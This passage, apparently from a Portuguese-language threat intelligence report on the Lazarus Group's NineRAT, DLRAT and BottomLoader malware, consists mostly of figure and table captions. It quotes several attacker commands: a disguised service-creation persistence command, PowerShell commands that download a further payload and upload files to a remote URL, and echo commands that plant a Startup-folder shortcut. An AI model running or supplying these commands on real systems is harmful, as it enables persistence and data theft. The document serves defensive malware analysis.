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Service Creation command

sc create Aarsvc_XXXXXX binPath=c:\windows\system32\nsIookup.exe -k 
AarSvcGroup -p type=own start=auto DisplayName=Agent Activation 
Runtime_XXXXXX

Figura 1 – Caminho para o malware NineRAT no disco. 
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Tabela 1 – Comandos que podem ser usados pelo Bot. 

Tabela 2 – Comandos usados pelo NineRAT para reconhecimento. 
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Figura 2 – Strings de carga útil incorporado no downloader baseado em DLang, BottomLoader. 

powershell Invoke-webrequest -URI <URL> -outfile 
<file_location_on_system> 

Tabela 3 – Comando via PowerShell para download de outra carga. 

powershell (New-Object 
System.Net.WebClient).UploadFile('<file_path>','<remote_url>’) 

Tabela 4 – Comando via PowerShell para upload de arquivos. 
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echo [InternetShortcut] > "%appdata%\Microsoft\Windows\Start 
Menu\Programs\Startup\NOTEPAD.url"
echo URL="" >> "%appdata%\Microsoft\Windows\Start 
Menu\Programs\Startup\NOTEPAD.url"
echo IconFile=C:\WINDOWS\system32\SHELL32.dll >> 
"%appdata%\Microsoft\Windows\Start 
Menu\Programs\Startup\NOTEPAD.url"
echo IconIndex=20 >> "%appdata%\Microsoft\Windows\Start 
Menu\Programs\Startup\NOTEPAD.url"

Tabela 5 – Comandos utilizados para criação de arquivo .URL. 

Figura 3 – Snippet de código DLRAT que consiste em recursos preliminares de coleta de dados. 
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Figura 4 – Informações da sessão coletadas. 
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Figura 5 – ID de sessão codificado em DLRAT, o mesmo que o MagicRAT. 

Tabela 6 – Comandos e resposta utilizados pelo C2. 
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Figura 6 – Fluxo de infecção observada na Blacksmith. 
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Tabela 7 – Indicadores de Compromissos. 

Tabela 8 – Indicadores de rede relacionado ao Lazarus Group 
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